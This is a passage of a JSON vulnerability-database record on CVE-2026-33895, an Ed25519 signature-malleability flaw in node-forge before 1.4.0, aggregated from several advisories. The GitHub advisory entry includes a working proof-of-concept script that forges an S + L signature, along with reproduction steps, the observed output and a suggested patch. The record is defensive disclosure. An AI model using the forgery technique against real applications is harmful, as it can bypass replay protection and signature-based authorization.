\u003e L[i]) {\n+      return false;\n+    }\n+  }\n+  // S == L is non-canonical.\n+  return false;\n+}\n+\n function modL(r, x) {\n   var carry, i, j, k;\n   for(i = 63; i \u003e= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n  - \u003e Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.","status":"published","published":"2026-03-26T22:04:41Z","modified":"2026-03-27T21:51:07Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:39:44.97342Z"}],"nvd":[{"id":"CVE-2026-33895","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T21:17:26.157Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33895","title":"Forge has signature forgery in Ed25519 due to missing S \u003e L check","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:47:54.492Z","modified":"2026-10-28T02:30:53.133743074Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-q67f-28xg-22rw","title":"Forge has signature forgery in Ed25519 due to missing S \u003e L check","description":"## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S \u003c L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n    \"forge\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": true\n    },\n    \"crypto\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": false\n    }\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003epoc.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst path = require('path');\nconst crypto = require('crypto');\nconst forge = require('./forge');\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from('dderpym is the coolest man alive!');\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n  if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n    throw new Error('signature must be a 64-byte Buffer');\n  }\n  const out = Buffer.from(signature);\n  let carry = 0;\n  for (let i = 0; i \u003c 32; i++) {\n    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n    const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n    out[idx] = sum \u0026 0xff;\n    carry = sum \u003e\u003e 8;\n  }\n  return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n  if (publicKeyBytes.length !== 32) {\n    throw new Error('publicKeyBytes must be 32 bytes');\n  }\n  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\\n');\n  return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n  try {\n    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n    const ok = crypto.verify(null, message, keyObject, signature);\n    return { ok };\n  } catch (error) {\n    return { ok: false, error: error.message };\n  }\n}\n\nfunction toResult(label, original, tweaked) {\n  return {\n    [label]: {\n      original_valid: original.ok,\n      tweaked_valid: tweaked.ok,\n    },\n  };\n}\n\nfunction main() {\n  const kp = ed.generateKeyPair();\n  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n  const tweaked = addLToS(sig);\n  const okTweaked = ed.verify({\n    message: MESSAGE,\n    signature: tweaked.sig,\n    publicKey: kp.publicKey,\n  });\n  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n  const result = {\n    ...toResult('forge', { ok }, { ok: okTweaked }),\n    ...toResult('crypto', cryptoOriginal, cryptoTweaked),\n  };\n  console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S \u003e= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n     return -1;\n   }\n\n+  if(!_isCanonicalSignatureScalar(sm, 32)) {\n+    return -1;\n+  }\n+\n   for(i = 0; i \u003c n; ++i) {\n     m[i] = sm[i];\n   }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n   return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+  var i;\n+  // Compare little-endian scalar S against group order L and require S \u003c L.\n+  for(i = 31; i \u003e= 0; --i) {\n+    if(bytes[offset + i] \u003c L[i]) {\n+      return true;\n+    }\n+    if(bytes[offset + i] \u003e L[i]) {\n+      return false;\n+    }\n+  }\n+  // S == L is non-canonical.\n+  return false;\n+}\n+\n function modL(r, x) {\n   var carry, i, j, k;\n   for(i = 63; i \u003e= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n  - \u003e Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.","status":"published","published":"2026-03-26T22:04:41Z","modified":"2026-09-10T03:50:40.40979991Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"RHSA-2026:24761","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-06-10T10:07:59Z","modified":"2026-10-20T10:06:29Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:19.449341Z"},{"id":"UBUNTU-CVE-2026-33895","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T21:17:00Z","modified":"2026-06-30T18:17:56.277377382Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"CLSA-2026-1775176134","title":"TuxCare security update for node-forge (4 CVEs)","description":"TuxCare rebuilt node-forge to address 4 CVEs. Fixed in 0.10.0-tuxcare.6.","status":"published","published":"2026-08-04T14:52:20Z","modified":"2026-10-15T09:45:42.91027174Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1791467333","title":"TuxCare security update for node-forge (3 CVEs)","description":"TuxCare rebuilt node-forge to address 3 CVEs. Fixed in 1.3.3-tuxcare.2.","status":"published","published":"2026-10-08T13:48:53Z","modified":"2026-10-15T09:47:39.669670729Z","updated_at":"2026-11-02T15:43:49.016976Z"}]}}
